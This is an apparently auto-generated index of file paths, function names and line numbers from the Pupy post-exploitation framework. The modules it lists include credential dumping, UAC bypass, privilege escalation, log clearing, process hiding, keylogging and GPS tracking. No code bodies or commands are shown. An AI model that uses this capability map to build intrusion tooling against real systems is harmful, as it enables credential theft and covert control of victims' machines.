FILE: pupy/commands/sessions.py
function do (line 23) | def do(server, handler, config, modargs):
FILE: pupy/commands/tag.py
function do (line 19) | def do(server, handler, config, modargs):
FILE: pupy/external/creddump7/cachedump.py
function showUsage (line 28) | def showUsage():
FILE: pupy/external/creddump7/framework/addrspace.py
class FileAddressSpace (line 38) | class FileAddressSpace(object):
method __init__ (line 39) | def __init__(self, fname, mode='rb', fast=False):
method fread (line 48) | def fread(self,len):
method read (line 51) | def read(self, addr, len):
method read_long (line 55) | def read_long(self, addr):
method get_address_range (line 60) | def get_address_range(self):
method get_available_addresses (line 63) | def get_available_addresses(self):
method is_valid_address (line 66) | def is_valid_address(self, addr):
method close (line 69) | def close(self):
class HiveFileAddressSpace (line 77) | class HiveFileAddressSpace:
method __init__ (line 78) | def __init__(self, fname):
method vtop (line 82) | def vtop(self, vaddr):
method read (line 85) | def read(self, vaddr, length, zero=False):
method read_long_phys (line 137) | def read_long_phys(self, addr):
method is_valid_address (line 142) | def is_valid_address(self, vaddr):
FILE: pupy/external/creddump7/framework/newobj.py
function get_ptr_type (line 27) | def get_ptr_type(structure, member):
class Obj (line 46) | class Obj(object):
method __new__ (line 53) | def __new__(typ, name, address, space):
method __init__ (line 64) | def __init__(self, name, address, space):
method __getattribute__ (line 74) | def __getattribute__(self, attr):
method __div__ (line 107) | def __div__(self, other):
method members (line 115) | def members(self):
method values (line 123) | def values(self):
method bytes (line 131) | def bytes(self, length=-1):
method size (line 143) | def size(self):
method __repr__ (line 151) | def __repr__(self):
method __eq__ (line 154) | def __eq__(self, other):
method __ne__ (line 159) | def __ne__(self, other):
method __hash__ (line 162) | def __hash__(self):
method is_valid (line 165) | def is_valid(self):
method get_offset (line 168) | def get_offset(self, member):
class Primitive (line 171) | class Primitive(Obj):
method __new__ (line 178) | def __new__(typ, *args, **kwargs):
method __init__ (line 182) | def __init__(self, name, address, space):
method __repr__ (line 189) | def __repr__(self):
method members (line 192) | def members(self):
class Pointer (line 195) | class Pointer(Obj):
method __new__ (line 204) | def __new__(typ, *args, **kwargs):
method __init__ (line 208) | def __init__(self, name, address, space, ptr_type):
method __getattribute__ (line 216) | def __getattribute__(self, attr):
method __repr__ (line 226) | def __repr__(self):
method members (line 229) | def members(self):
class _UNICODE_STRING (line 232) | class _UNICODE_STRING(Obj):
method __new__ (line 241) | def __new__(typ, *args, **kwargs):
method __str__ (line 245) | def __str__(self):
method getBuffer (line 249) | def getBuffer(self):
class _CM_KEY_NODE (line 253) | class _CM_KEY_NODE(Obj):
method __new__ (line 254) | def __new__(typ, *args, **kwargs):
method getName (line 258) | def getName(self):
class _CM_KEY_VALUE (line 263) | class _CM_KEY_VALUE(Obj):
method __new__ (line 264) | def __new__(typ, *args, **kwargs):
method getName (line 268) | def getName(self):
class _CHILD_LIST (line 273) | class _CHILD_LIST(Obj):
method __new__ (line 274) | def __new__(typ, *args, **kwargs):
method getList (line 278) | def getList(self):
class _CM_KEY_INDEX (line 288) | class _CM_KEY_INDEX(Obj):
method __new__ (line 289) | def __new__(typ, *args, **kwargs):
method getList (line 293) | def getList(self):
FILE: pupy/external/creddump7/framework/object.py
function obj_size (line 44) | def obj_size(types, objname):
function builtin_size (line 50) | def builtin_size(builtin):
function read_value (line 56) | def read_value(addr_space, value_type, vaddr):
function read_unicode_string (line 74) | def read_unicode_string(addr_space, types, member_list, vaddr):
function read_string (line 101) | def read_string(addr_space, types, member_list, vaddr, max_length=256):
function read_null_string (line 111) | def read_null_string(addr_space, types, member_list, vaddr, max_length=2...
function get_obj_offset (line 123) | def get_obj_offset(types, member_list):
function read_obj (line 160) | def read_obj(addr_space, types, member_list, vaddr):
FILE: pupy/external/creddump7/framework/win32/domcachedump.py
function get_nlkm (line 37) | def get_nlkm(secaddr, lsakey, vista):
function decrypt_hash (line 41) | def decrypt_hash(edata, nlkm, ch):
function decrypt_hash_vista (line 50) | def decrypt_hash_vista(edata, nlkm, ch):
function parse_cache_entry (line 66) | def parse_cache_entry(cache_data):
function parse_decrypted_cache (line 74) | def parse_decrypted_cache(dec_data, uname_len,
function dump_hashes (line 93) | def dump_hashes(sysaddr, secaddr, vista):
function dump_file_hashes (line 142) | def dump_file_hashes(syshive_fname, sechive_fname, vista):
FILE: pupy/external/creddump7/framework/win32/hashdump.py
function str_to_key (line 65) | def str_to_key(s):
function sid_to_key (line 80) | def sid_to_key(sid):
function find_control_set (line 94) | def find_control_set(sysaddr):
function get_bootkey (line 106) | def get_bootkey(sysaddr):
function get_hbootkey (line 130) | def get_hbootkey(samaddr, bootkey):
function get_user_keys (line 164) | def get_user_keys(samaddr):
function decrypt_single_hash (line 175) | def decrypt_single_hash(rid, hbootkey, enc_hash, lmntstr):
function decrypt_single_salted_hash (line 190) | def decrypt_single_salted_hash(rid, hbootkey, enc_hash, lmntstr, salt):
function get_user_hashes (line 202) | def get_user_hashes(user_key, hbootkey):
function get_user_name (line 241) | def get_user_name(user_key):
function dump_hashes (line 255) | def dump_hashes(sysaddr, samaddr):
function dump_file_hashes (line 266) | def dump_file_hashes(syshive_fname, samhive_fname):
FILE: pupy/external/creddump7/framework/win32/lsasecrets.py
function get_lsa_key (line 29) | def get_lsa_key(secaddr, bootkey, vista):
function decrypt_secret (line 67) | def decrypt_secret(secret, key):
function decrypt_aes (line 90) | def decrypt_aes(secret, key):
function get_secret_by_name (line 109) | def get_secret_by_name(secaddr, name, lsakey, vista):
function get_secrets (line 135) | def get_secrets(sysaddr, secaddr, vista):
function get_file_secrets (line 172) | def get_file_secrets(sysfile, secfile, vista):
FILE: pupy/external/creddump7/framework/win32/rawreg.py
function get_root (line 32) | def get_root(address_space):
function open_key (line 36) | def open_key(root, key):
function subkeys (line 48) | def subkeys(key,stable=True):
function values (line 75) | def values(key):
function walk (line 80) | def walk(root):
FILE: pupy/external/creddump7/lsadump.py
function showUsage (line 33) | def showUsage():
function dump (line 41) | def dump(src, length=8):
FILE: pupy/library_patches_py2/Crypto/Util/_raw_api.py
class _VoidPointer (line 69) | class _VoidPointer(object):
method get (line 71) | def get(self):
method address_of (line 76) | def address_of(self):
function load_lib (line 81) | def load_lib(name, cdecl):
function get_c_string (line 92) | def get_c_string(c_string):
function get_raw_buffer (line 95) | def get_raw_buffer(buf):
class _Py_buffer (line 116) | class _Py_buffer(ctypes.Structure):
function c_uint8_ptr (line 135) | def c_uint8_ptr(data):
class VoidPointer_ctypes (line 153) | class VoidPointer_ctypes(_VoidPointer):
method __init__ (line 156) | def __init__(self):
method get (line 159) | def get(self):
method address_of (line 162) | def address_of(self):
function VoidPointer (line 165) | def VoidPointer():
class SmartPointer (line 172) | class SmartPointer(object):
method __init__ (line 175) | def __init__(self, raw_pointer, destructor):
method get (line 179) | def get(self):
method release (line 182) | def release(self):
method __del__ (line 186) | def __del__(self):
function load_pycryptodome_raw_lib (line 195) | def load_pycryptodome_raw_lib(name, cdecl):
function is_buffer (line 219) | def is_buffer(x):
function is_writeable_buffer (line 223) | def is_writeable_buffer(x):
function is_buffer (line 229) | def is_buffer(x):
function is_writeable_buffer (line 232) | def is_writeable_buffer(x):
FILE: pupy/library_patches_py2/linecache.py
function getline (line 5) | def getline(filename, lineno, module_globals=None):
function clearcache (line 9) | def clearcache():
function getlines (line 13) | def getlines(filename, module_globals=None):
function checkcache (line 17) | def checkcache(filename=None):
function updatecache (line 21) | def updatecache(filename, module_globals=None):
FILE: pupy/library_patches_py2/site.py
function addpackage (line 14) | def addpackage(sitedir, name, known_paths):
function addsitedir (line 17) | def addsitedir(sitedir, known_paths=None):
function check_enableusersite (line 20) | def check_enableusersite():
function getuserbase (line 23) | def getuserbase():
function getusersitepackages (line 26) | def getusersitepackages():
function addusersitepackages (line 29) | def addusersitepackages(known_paths):
function getsitepackages (line 32) | def getsitepackages():
function addsitepackages (line 35) | def addsitepackages(known_paths):
function main (line 38) | def main():
FILE: pupy/library_patches_py2/uuid.py
class UUID (line 66) | class UUID(object):
method __init__ (line 114) | def __init__(self, hex=None, bytes=None, bytes_le=None, fields=None,
method __cmp__ (line 193) | def __cmp__(self, other):
method __hash__ (line 198) | def __hash__(self):
method __int__ (line 201) | def __int__(self):
method __repr__ (line 204) | def __repr__(self):
method __setattr__ (line 207) | def __setattr__(self, name, value):
method __str__ (line 210) | def __str__(self):
method get_bytes (line 215) | def get_bytes(self):
method get_bytes_le (line 223) | def get_bytes_le(self):
method get_fields (line 230) | def get_fields(self):
method get_time_low (line 236) | def get_time_low(self):
method get_time_mid (line 241) | def get_time_mid(self):
method get_time_hi_version (line 246) | def get_time_hi_version(self):
method get_clock_seq_hi_variant (line 251) | def get_clock_seq_hi_variant(self):
method get_clock_seq_low (line 256) | def get_clock_seq_low(self):
method get_time (line 261) | def get_time(self):
method get_clock_seq (line 267) | def get_clock_seq(self):
method get_node (line 273) | def get_node(self):
method get_hex (line 278) | def get_hex(self):
method get_urn (line 283) | def get_urn(self):
method get_variant (line 288) | def get_variant(self):
method get_version (line 300) | def get_version(self):
function _popen (line 307) | def _popen(command, args):
function _find_mac (line 325) | def _find_mac(command, args, hw_identifiers, get_index):
function _sysfs_getnode (line 350) | def _sysfs_getnode():
function _ifconfig_getnode (line 404) | def _ifconfig_getnode():
function _arp_getnode (line 412) | def _arp_getnode():
function _lanscan_getnode (line 423) | def _lanscan_getnode():
function _netstat_getnode (line 428) | def _netstat_getnode():
function _ipconfig_getnode (line 454) | def _ipconfig_getnode():
function _netbios_getnode (line 528) | def _netbios_getnode():
function _unixdll_getnode (line 612) | def _unixdll_getnode():
function _windll_getnode (line 618) | def _windll_getnode():
function _netiface_getnode (line 624) | def _netiface_getnode():
function _random_getnode (line 755) | def _random_getnode():
function getnode (line 762) | def getnode():
function uuid1 (line 795) | def uuid1(node=None, clock_seq=None):
function uuid3 (line 830) | def uuid3(namespace, name):
function uuid4 (line 836) | def uuid4():
function uuid5 (line 854) | def uuid5(namespace, name):
FILE: pupy/library_patches_py3/Crypto/Util/_raw_api.py
class _VoidPointer (line 69) | class _VoidPointer(object):
method get (line 71) | def get(self):
method address_of (line 76) | def address_of(self):
function load_lib (line 81) | def load_lib(name, cdecl):
function get_c_string (line 92) | def get_c_string(c_string):
function get_raw_buffer (line 95) | def get_raw_buffer(buf):
class _Py_buffer (line 116) | class _Py_buffer(ctypes.Structure):
function c_uint8_ptr (line 135) | def c_uint8_ptr(data):
class VoidPointer_ctypes (line 153) | class VoidPointer_ctypes(_VoidPointer):
method __init__ (line 156) | def __init__(self):
method get (line 159) | def get(self):
method address_of (line 162) | def address_of(self):
function VoidPointer (line 165) | def VoidPointer():
class SmartPointer (line 172) | class SmartPointer(object):
method __init__ (line 175) | def __init__(self, raw_pointer, destructor):
method get (line 179) | def get(self):
method release (line 182) | def release(self):
method __del__ (line 186) | def __del__(self):
function load_pycryptodome_raw_lib (line 195) | def load_pycryptodome_raw_lib(name, cdecl):
function is_buffer (line 219) | def is_buffer(x):
function is_writeable_buffer (line 223) | def is_writeable_buffer(x):
function is_buffer (line 229) | def is_buffer(x):
function is_writeable_buffer (line 232) | def is_writeable_buffer(x):
FILE: pupy/library_patches_py3/bz2.py
class BZ2File (line 27) | class BZ2File(_compression.BaseStream):
method __init__ (line 38) | def __init__(self, filename, mode="r", *, compresslevel=9):
method close (line 101) | def close(self):
method closed (line 126) | def closed(self):
method fileno (line 130) | def fileno(self):
method seekable (line 135) | def seekable(self):
method readable (line 139) | def readable(self):
method writable (line 144) | def writable(self):
method peek (line 149) | def peek(self, n=0):
method read (line 161) | def read(self, size=-1):
method read1 (line 170) | def read1(self, size=-1):
method readinto (line 182) | def readinto(self, b):
method readline (line 190) | def readline(self, size=-1):
method readlines (line 204) | def readlines(self, size=-1):
method write (line 218) | def write(self, data):
method writelines (line 239) | def writelines(self, seq):
method seek (line 249) | def seek(self, offset, whence=io.SEEK_SET):
method tell (line 267) | def tell(self):
function open (line 275) | def open(filename, mode="rb", compresslevel=9,
function compress (line 317) | def compress(data, compresslevel=9):
function decompress (line 328) | def decompress(data):
FILE: pupy/library_patches_py3/linecache.py
function getline (line 3) | def getline(filename, lineno, module_globals=None):
function clearcache (line 7) | def clearcache():
function getlines (line 11) | def getlines(filename, module_globals=None):
function getline (line 14) | def getline(filename, lineno, module_globals=None):
function checkcache (line 18) | def checkcache(filename=None):
function updatecache (line 22) | def updatecache(filename, module_globals=None):
function lazycache (line 25) | def lazycache(filename, module_globals):
FILE: pupy/library_patches_py3/poster/encode.py
function gen_boundary (line 14) | def gen_boundary():
function gen_boundary (line 19) | def gen_boundary():
function encode_and_quote (line 36) | def encode_and_quote(data):
function _strify (line 46) | def _strify(s):
class MultipartParam (line 55) | class MultipartParam(object):
method __init__ (line 87) | def __init__(self, name, value=None, filename=None, filetype=None,
method __cmp__ (line 122) | def __cmp__(self, other):
method reset (line 128) | def reset(self):
method from_file (line 135) | def from_file(cls, paramname, filename):
method from_params (line 152) | def from_params(cls, params):
method encode_hdr (line 187) | def encode_hdr(self, boundary):
method encode (line 213) | def encode(self, boundary):
method iter_encode (line 225) | def iter_encode(self, boundary, blocksize=4096):
method get_size (line 264) | def get_size(self, boundary):
function encode_string (line 274) | def encode_string(boundary, name, value):
function encode_file_header (line 281) | def encode_file_header(boundary, paramname, filesize, filename=None,
function get_body_size (line 304) | def get_body_size(params, boundary):
function get_headers (line 310) | def get_headers(params, boundary):
class multipart_yielder (line 319) | class multipart_yielder:
method __init__ (line 320) | def __init__(self, params, boundary, cb):
method __iter__ (line 331) | def __iter__(self):
method next (line 334) | def next(self):
method reset (line 365) | def reset(self):
function multipart_encode (line 371) | def multipart_encode(params, boundary=None, cb=None):
FILE: pupy/library_patches_py3/poster/streaminghttp.py
class _StreamingHTTPMixin (line 56) | class _StreamingHTTPMixin:
method send (line 59) | def send(self, value):
class StreamingHTTPConnection (line 107) | class StreamingHTTPConnection(_StreamingHTTPMixin, HTTPConnection):
class StreamingHTTPRedirectHandler (line 112) | class StreamingHTTPRedirectHandler(HTTPRedirectHandler):
method redirect_request (line 124) | def redirect_request(self, req, fp, code, msg, headers, newurl):
class StreamingHTTPHandler (line 164) | class StreamingHTTPHandler(HTTPHandler):
method http_open (line 170) | def http_open(self, req):
method http_request (line 174) | def http_request(self, req):
class StreamingHTTPSConnection (line 189) | class StreamingHTTPSConnection(_StreamingHTTPMixin, HTTPSConnection):
class StreamingHTTPSHandler (line 194) | class StreamingHTTPSHandler(HTTPSHandler):
method https_open (line 200) | def https_open(self, req):
method https_request (line 203) | def https_request(self, req):
function get_handlers (line 217) | def get_handlers():
function register_openers (line 222) | def register_openers():
FILE: pupy/library_patches_py3/site.py
function _trace (line 10) | def _trace(message):
function makepath (line 12) | def makepath(*paths):
function abs_paths (line 14) | def abs_paths():
function removeduppaths (line 16) | def removeduppaths():
function _init_pathinfo (line 18) | def _init_pathinfo():
function addpackage (line 20) | def addpackage(sitedir, name, known_paths):
function addsitedir (line 22) | def addsitedir(sitedir, known_paths=None):
function check_enableusersite (line 24) | def check_enableusersite():
function _getuserbase (line 26) | def _getuserbase():
function _get_path (line 28) | def _get_path(userbase):
function getuserbase (line 30) | def getuserbase():
function getusersitepackages (line 32) | def getusersitepackages():
function addusersitepackages (line 34) | def addusersitepackages(known_paths):
function getsitepackages (line 36) | def getsitepackages(prefixes=None):
function addsitepackages (line 38) | def addsitepackages(known_paths, prefixes=None):
function setquit (line 40) | def setquit():
function setcopyright (line 42) | def setcopyright():
function sethelper (line 44) | def sethelper():
function enablerlcompleter (line 46) | def enablerlcompleter():
function venv (line 48) | def venv(known_paths):
function execsitecustomize (line 50) | def execsitecustomize():
function execusercustomize (line 52) | def execusercustomize():
function main (line 54) | def main():
function _script (line 56) | def _script():
FILE: pupy/library_patches_py3/umsgpack.py
class Ext (line 69) | class Ext(object):
method __init__ (line 75) | def __init__(self, type, data):
method __eq__ (line 113) | def __eq__(self, other):
method __ne__ (line 120) | def __ne__(self, other):
method __str__ (line 126) | def __str__(self):
method __hash__ (line 138) | def __hash__(self):
class InvalidString (line 145) | class InvalidString(bytes):
function ext_serializable (line 157) | def ext_serializable(ext_type):
class PackException (line 200) | class PackException(Exception):
class UnpackException (line 204) | class UnpackException(Exception):
class UnsupportedTypeException (line 209) | class UnsupportedTypeException(PackException):
class InsufficientDataException (line 214) | class InsufficientDataException(UnpackException):
class InvalidStringException (line 218) | class InvalidStringException(UnpackException):
class UnsupportedTimestampException (line 222) | class UnsupportedTimestampException(UnpackException):
class ReservedCodeException (line 226) | class ReservedCodeException(UnpackException):
class UnhashableKeyException (line 230) | class UnhashableKeyException(UnpackException):
class DuplicateKeyException (line 237) | class DuplicateKeyException(UnpackException):
function _pack_integer (line 288) | def _pack_integer(obj, fp, options):
function _pack_nil (line 317) | def _pack_nil(obj, fp, options):
function _pack_boolean (line 321) | def _pack_boolean(obj, fp, options):
function _pack_float (line 325) | def _pack_float(obj, fp, options):
function _pack_string (line 336) | def _pack_string(obj, fp, options):
function _pack_binary (line 351) | def _pack_binary(obj, fp, options):
function _pack_oldspec_raw (line 363) | def _pack_oldspec_raw(obj, fp, options):
function _pack_ext (line 375) | def _pack_ext(obj, fp, options):
function _pack_ext_timestamp (line 397) | def _pack_ext_timestamp(obj, fp, options):
function _pack_array (line 423) | def _pack_array(obj, fp, options):
function _pack_map (line 438) | def _pack_map(obj, fp, options):
function _pack2 (line 457) | def _pack2(obj, fp, **options):
function _pack3 (line 544) | def _pack3(obj, fp, **options):
function _packb2 (line 631) | def _packb2(obj, **options):
function _packb3 (line 664) | def _packb3(obj, **options):
function _read_except (line 701) | def _read_except(fp, n):
function _unpack_integer (line 719) | def _unpack_integer(code, fp, options):
function _unpack_reserved (line 743) | def _unpack_reserved(code, fp, options):
function _unpack_nil (line 751) | def _unpack_nil(code, fp, options):
function _unpack_boolean (line 757) | def _unpack_boolean(code, fp, options):
function _unpack_float (line 765) | def _unpack_float(code, fp, options):
function _unpack_string (line 773) | def _unpack_string(code, fp, options):
function _unpack_binary (line 799) | def _unpack_binary(code, fp, options):
function _unpack_ext (line 812) | def _unpack_ext(code, fp, options):
function _unpack_ext_timestamp (line 854) | def _unpack_ext_timestamp(ext_data, options):
function _unpack_array (line 877) | def _unpack_array(code, fp, options):
function _deep_list_to_tuple (line 893) | def _deep_list_to_tuple(obj):
function _unpack_map (line 899) | def _unpack_map(code, fp, options):
function _unpack (line 935) | def _unpack(fp, options):
function _unpack2 (line 942) | def _unpack2(fp, **options):
function _unpack3 (line 988) | def _unpack3(fp, **options):
function _unpackb2 (line 1035) | def _unpackb2(s, **options):
function _unpackb3 (line 1085) | def _unpackb3(s, **options):
function __init (line 1138) | def __init():
FILE: pupy/modules/ad.py
function _sid (line 237) | def _sid(sid):
function json_default (line 245) | def json_default(o):
function nsToDays (line 251) | def nsToDays(length):
function nsToMinutes (line 255) | def nsToMinutes(length):
function toDateTime (line 259) | def toDateTime(filetime):
function parseFlags (line 271) | def parseFlags(attr, flags_def, bits=True):
function LDAPAclMaskToSet (line 286) | def LDAPAclMaskToSet(mask):
function LDAPAclToDict (line 303) | def LDAPAclToDict(acl):
function LDAPAclOwnerToDict (line 319) | def LDAPAclOwnerToDict(owner):
function LDAPSdToDict (line 327) | def LDAPSdToDict(descriptor):
function formatAttribute (line 339) | def formatAttribute(key, att, formatCnAsGroup=False):
function from_tuple_deep (line 408) | def from_tuple_deep(obj, format=True):
function _get_field (line 441) | def _get_field(result, field):
class AD (line 454) | class AD(PupyModule):
method init_argparse (line 466) | def init_argparse(cls):
method _show_exception (line 553) | def _show_exception(self, e):
method run (line 578) | def run(self, args):
method _output_search_results (line 587) | def _output_search_results(self, results, fields, table=False, realm=N...
method search (line 653) | def search(self, args):
method unbind (line 721) | def unbind(self, args):
method childs (line 725) | def childs(self, args):
method bounded (line 737) | def bounded(self, args):
method getinfo (line 746) | def getinfo(self, args):
method dump (line 849) | def dump(self, args):
method bind (line 931) | def bind(self, args):
method interrupt (line 960) | def interrupt(self):
FILE: pupy/modules/alive.py
class alive (line 12) | class alive(PupyModule):
method init_argparse (line 17) | def init_argparse(cls):
method run (line 22) | def run(self, args):
FILE: pupy/modules/apps.py
class apps (line 14) | class apps(PupyModule):
method init_argparse (line 18) | def init_argparse(cls):
method run (line 24) | def run(self, args):
FILE: pupy/modules/become.py
class Become (line 12) | class Become(PupyModule):
method init_argparse (line 18) | def init_argparse(cls):
method run (line 24) | def run(self, args):
FILE: pupy/modules/beroot.py
class Beroot (line 13) | class Beroot(PupyModule):
method init_argparse (line 26) | def init_argparse(cls):
method run (line 43) | def run(self, args):
method windows_output (line 57) | def windows_output(self, output):
FILE: pupy/modules/bypassuac.py
class BypassUAC (line 29) | class BypassUAC(PupyModule):
method init_argparse (line 40) | def init_argparse(cls):
method parse_result (line 63) | def parse_result(self, result, print_result=True, get_method_id=True):
method launch_scan (line 94) | def launch_scan(self, print_result=True):
method run (line 109) | def run(self, args):
FILE: pupy/modules/call.py
class call (line 21) | class call(PupyModule):
method init_argparse (line 29) | def init_argparse(cls):
method run (line 34) | def run(self, args):
function getLocalAndroidPath (line 58) | def getLocalAndroidPath(client, args):
FILE: pupy/modules/cat.py
class cat (line 23) | class cat(PupyModule):
method init_argparse (line 29) | def init_argparse(cls):
method print_content (line 51) | def print_content(self, args, content):
method run (line 75) | def run(self, args):
FILE: pupy/modules/cd.py
class cd (line 20) | class cd(PupyModule):
method init_argparse (line 27) | def init_argparse(cls):
method run (line 35) | def run(self, args):
FILE: pupy/modules/check_vm.py
class CheckVM (line 14) | class CheckVM(PupyModule):
method init_argparse (line 20) | def init_argparse(cls):
method run (line 25) | def run(self, args):
FILE: pupy/modules/clear_logs.py
class ClearLogs (line 14) | class ClearLogs(PupyModule):
method init_argparse (line 22) | def init_argparse(cls):
method run (line 25) | def run(self, args):
FILE: pupy/modules/cloudinfo.py
class CloudInfo (line 23) | class CloudInfo(PupyModule):
method init_argparse (line 29) | def init_argparse(cls):
method run (line 32) | def run(self, args):
FILE: pupy/modules/contacts.py
class contacts (line 22) | class contacts(PupyModule):
method init_argparse (line 26) | def init_argparse(cls):
method run (line 31) | def run(self, args):
method __saveContacts__ (line 41) | def __saveContacts__(self, contacts, completePath):
FILE: pupy/modules/cp.py
class cp (line 20) | class cp(PupyModule):
method init_argparse (line 27) | def init_argparse(cls):
method run (line 38) | def run(self, args):
FILE: pupy/modules/credcap.py
class Credcap (line 21) | class Credcap(PupyModule):
method init_argparse (line 30) | def init_argparse(cls):
method run (line 36) | def run(self, args):
FILE: pupy/modules/creddump.py
class CredDump (line 45) | class CredDump(PupyModule):
method init_argparse (line 49) | def init_argparse(cls):
method run (line 52) | def run(self, args):
method darwin (line 69) | def darwin(self):
method linux (line 87) | def linux(self):
method windows (line 165) | def windows(self):
method dump (line 267) | def dump(self, src, length=8):
FILE: pupy/modules/date.py
class date (line 17) | class date(PupyModule):
method init_argparse (line 24) | def init_argparse(cls):
method run (line 27) | def run(self, args):
FILE: pupy/modules/display.py
class Display (line 14) | class Display(PupyModule):
method init_argparse (line 20) | def init_argparse(cls):
method run (line 27) | def run(self, args):
FILE: pupy/modules/dns.py
class DNS (line 18) | class DNS(PupyModule):
method init_argparse (line 24) | def init_argparse(cls):
method run (line 28) | def run(self, args):
FILE: pupy/modules/download.py
function size_human_readable (line 20) | def size_human_readable(num, suffix='B'):
class DownloaderScript (line 33) | class DownloaderScript(PupyModule):
method init_argparse (line 42) | def init_argparse(cls):
method run (line 62) | def run(self, args):
method interrupt (line 95) | def interrupt(self):
FILE: pupy/modules/drives.py
class Drives (line 17) | class Drives(PupyModule):
method init_argparse (line 29) | def init_argparse(cls):
method run (line 35) | def run(self, args):
FILE: pupy/modules/duplicate.py
class MemoryDuplicate (line 21) | class MemoryDuplicate(PupyModule):
method init_argparse (line 32) | def init_argparse(cls):
method run (line 50) | def run(self, args):
FILE: pupy/modules/echo.py
class Echo (line 15) | class Echo(PupyModule):
method init_argparse (line 25) | def init_argparse(cls):
method interrupt (line 33) | def interrupt(self):
method run (line 37) | def run(self, args):
FILE: pupy/modules/edit.py
class Edit (line 24) | class Edit(PupyModule):
method init_argparse (line 30) | def init_argparse(cls):
method run (line 38) | def run(self, args):
FILE: pupy/modules/env.py
class Env (line 16) | class Env(PupyModule):
method init_argparse (line 22) | def init_argparse(cls):
method run (line 46) | def run(self, args):
method setenv (line 50) | def setenv(self, args, environ):
method getenv (line 53) | def getenv(self, args, environ):
method unsetenv (line 60) | def unsetenv(self, args, environ):
method listenv (line 63) | def listenv(self, args, environ):
FILE: pupy/modules/exit.py
class ExitModule (line 12) | class ExitModule(PupyModule):
method init_argparse (line 17) | def init_argparse(cls):
method run (line 21) | def run(self, args):
FILE: pupy/modules/exploit_suggester.py
class Exploit_Suggester (line 45) | class Exploit_Suggester(PupyModule):
method init_argparse (line 54) | def init_argparse(cls):
method run (line 66) | def run(self, args):
method interrupt (line 230) | def interrupt(self):
FILE: pupy/modules/forward.py
class Forward (line 22) | class Forward(PupyModule):
method init_argparse (line 31) | def init_argparse(cls):
method run (line 90) | def run(self, args):
method _list (line 103) | def _list(self, state, args):
method _parse_args (line 114) | def _parse_args(self, args):
method _portmap (line 228) | def _portmap(self, state, args):
FILE: pupy/modules/get_hwuuid.py
class GetHwUuid (line 12) | class GetHwUuid(PupyModule):
method init_argparse (line 20) | def init_argparse(cls):
method run (line 26) | def run(self, args):
FILE: pupy/modules/get_info.py
class GetInfo (line 20) | class GetInfo(PupyModule):
method init_argparse (line 28) | def init_argparse(cls):
method run (line 34) | def run(self, args):
FILE: pupy/modules/getdomain.py
class GetDomain (line 12) | class GetDomain(PupyModule):
method init_argparse (line 18) | def init_argparse(cls):
method run (line 21) | def run(self, args):
FILE: pupy/modules/getpid.py
class PsModule (line 12) | class PsModule(PupyModule):
method init_argparse (line 17) | def init_argparse(cls):
method run (line 20) | def run(self, args):
FILE: pupy/modules/getppid.py
class PsModule (line 12) | class PsModule(PupyModule):
method init_argparse (line 21) | def init_argparse(cls):
method run (line 24) | def run(self, args):
FILE: pupy/modules/getprivs.py
class GetPrivsModule (line 16) | class GetPrivsModule(PupyModule):
method init_argparse (line 22) | def init_argparse(cls):
method run (line 29) | def run(self, args):
FILE: pupy/modules/getsystem.py
class GetSystem (line 18) | class GetSystem(PupyModule):
method init_argparse (line 35) | def init_argparse(cls):
method run (line 68) | def run(self, args):
FILE: pupy/modules/getuid.py
class getuid (line 12) | class getuid(PupyModule):
method init_argparse (line 18) | def init_argparse(cls):
method run (line 21) | def run(self, args):
FILE: pupy/modules/gpstracker.py
function generateKML (line 71) | def generateKML(deviceName, traces, outputFile):
class gpstracker (line 97) | class gpstracker(PupyModule):
method init_argparse (line 101) | def init_argparse(cls):
method run (line 115) | def run(self, args):
FILE: pupy/modules/hashmon.py
class KeyloggerModule (line 12) | class KeyloggerModule(PupyModule):
method init_argparse (line 22) | def init_argparse(cls):
method run (line 36) | def run(self, args):
FILE: pupy/modules/hide_process.py
class HideProcessModule (line 13) | class HideProcessModule(PupyModule):
method init_argparse (line 19) | def init_argparse(cls):
method run (line 26) | def run(self, args):
FILE: pupy/modules/http.py
class http (line 16) | class http(PupyModule):
method init_argparse (line 23) | def init_argparse(cls):
method run (line 41) | def run(self, args):
FILE: pupy/modules/igd.py
class IGDCMDClient (line 18) | class IGDCMDClient(object):
method __init__ (line 19) | def __init__(self):
method init (line 22) | def init(self, IGDClient, args, log):
method show (line 34) | def show(self, values):
method addPM (line 81) | def addPM(self, args):
method delPM (line 88) | def delPM(self, args):
method getExtIP (line 93) | def getExtIP(self, args):
method getGPM (line 97) | def getGPM(self, args):
method getSPM (line 101) | def getSPM(self, args):
method getNRSS (line 107) | def getNRSS(self, args):
method getWDD (line 112) | def getWDD(self, args):
method getIDT (line 117) | def getIDT(self, args):
method getADT (line 122) | def getADT(self, args):
method getSI (line 127) | def getSI(self, args):
method setWDD (line 131) | def setWDD(self, args):
method setIDT (line 135) | def setIDT(self, args):
method setADT (line 139) | def setADT(self, args):
method forceTerm (line 143) | def forceTerm(self, args):
method requestTerm (line 147) | def requestTerm(self, args):
method requestConn (line 151) | def requestConn(self, args):
method getCT (line 155) | def getCT(self, args):
method setCT (line 160) | def setCT(self, args):
method custom (line 164) | def custom(self, args):
method getFWStatus (line 175) | def getFWStatus(self, args):
method addPH (line 179) | def addPH(self, args):
method getOPHT (line 189) | def getOPHT(self, args):
method updatePH (line 194) | def updatePH(self, args):
method delPH (line 197) | def delPH(self, args):
method getPHPkts (line 200) | def getPHPkts(self, args):
method chkPH (line 204) | def chkPH(self, args):
class IGDClient (line 210) | class IGDClient(PupyModule):
method init_argparse (line 214) | def init_argparse(cls):
method run (line 427) | def run(self, args):
FILE: pupy/modules/impersonate.py
class ImpersonateModule (line 14) | class ImpersonateModule(PupyModule):
method init_argparse (line 20) | def init_argparse(cls):
method run (line 27) | def run(self, args):
FILE: pupy/modules/interactive_shell.py
class InteractiveShell (line 19) | class InteractiveShell(PupyModule):
method init_argparse (line 34) | def init_argparse(cls):
method init (line 44) | def init(self, args):
method run (line 52) | def run(self, args):
FILE: pupy/modules/inveigh.py
class Inveigh (line 18) | class Inveigh(PupyModule):
method init_argparse (line 29) | def init_argparse(cls):
method run (line 47) | def run(self, args):
FILE: pupy/modules/ip.py
class IPModule (line 19) | class IPModule(PupyModule):
method init_argparse (line 26) | def init_argparse(cls):
method run (line 35) | def run(self, args):
FILE: pupy/modules/isearch.py
function escape (line 23) | def escape(x):
class IndexSearchModule (line 31) | class IndexSearchModule(PupyModule):
method init_argparse (line 40) | def init_argparse(cls):
method run (line 56) | def run(self, args):
FILE: pupy/modules/keylogger.py
class KeyloggerModule (line 22) | class KeyloggerModule(PupyModule):
method init_argparse (line 35) | def init_argparse(cls):
